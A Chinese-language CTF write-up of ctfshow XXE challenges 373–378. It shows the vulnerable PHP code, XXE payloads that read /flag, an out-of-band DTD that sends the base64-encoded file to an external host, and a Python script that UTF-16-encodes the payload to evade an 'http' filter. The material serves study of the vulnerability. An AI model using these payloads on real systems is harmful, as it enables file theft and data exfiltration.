参考好文:
一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)
一篇很清晰深入的好文
373.有回显XXE
<?php error_reporting(0); libxml_disable_entity_loader(false); #这里的意思是允许加载外部实体功能 $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } highlight_file(__FILE__); ?>
post传入
<?xml version="1.0"?> <!DOCTYPE byname[ <!ELEMENT byname ANY> <!ENTITY xxe SYSTEM "file:///flag"> #flag就在flag文件里面 ]> <byname> <payload> &xxe; </payload> </byname>
hackbar发不了包,抓包了再把整个XML写进去。
374-376.无回显XXE
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
这里很明显没有回显了,少了echo。
那么考虑外带,那篇文章也讲的很完善了,先在VPS上搭建xxe.txt
写入
<!ENTITY % dtd "<!ENTITY % send SYSTEM 'http://byname6.com/fk/1.php?1=%file;'> "> %dtd;%send;
这是写入的XML语句
<!DOCTYPE byname[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % action SYSTEM "http://byname6.com/fk/xxe.txt"> %action; ]>
注意,读文件不能用file协议了,用了file协议导致卡了很久。
377.过滤http
第一个想到的是ftp协议可否行,理论上是行的,但是我的VPS没弄ftp服务这些,等我之后重置服务器了再弄。
第二种方法是利用编码绕过。
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
方便点我们就写个post请求脚本即可:
import requests url="http://c5f075b1-f4ce-4b4b-83e4-75375a5042fb.challenge.ctf.show/" payload="""<!DOCTYPE byname[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % action SYSTEM "http://byname6.com/fk/xxe.txt"> %action; ]> """.encode('utf-16') requests.post(url=url,data=payload)
378.
F12能看到源码,主要是靠返回报错信息得到flag
发包后拿到flag。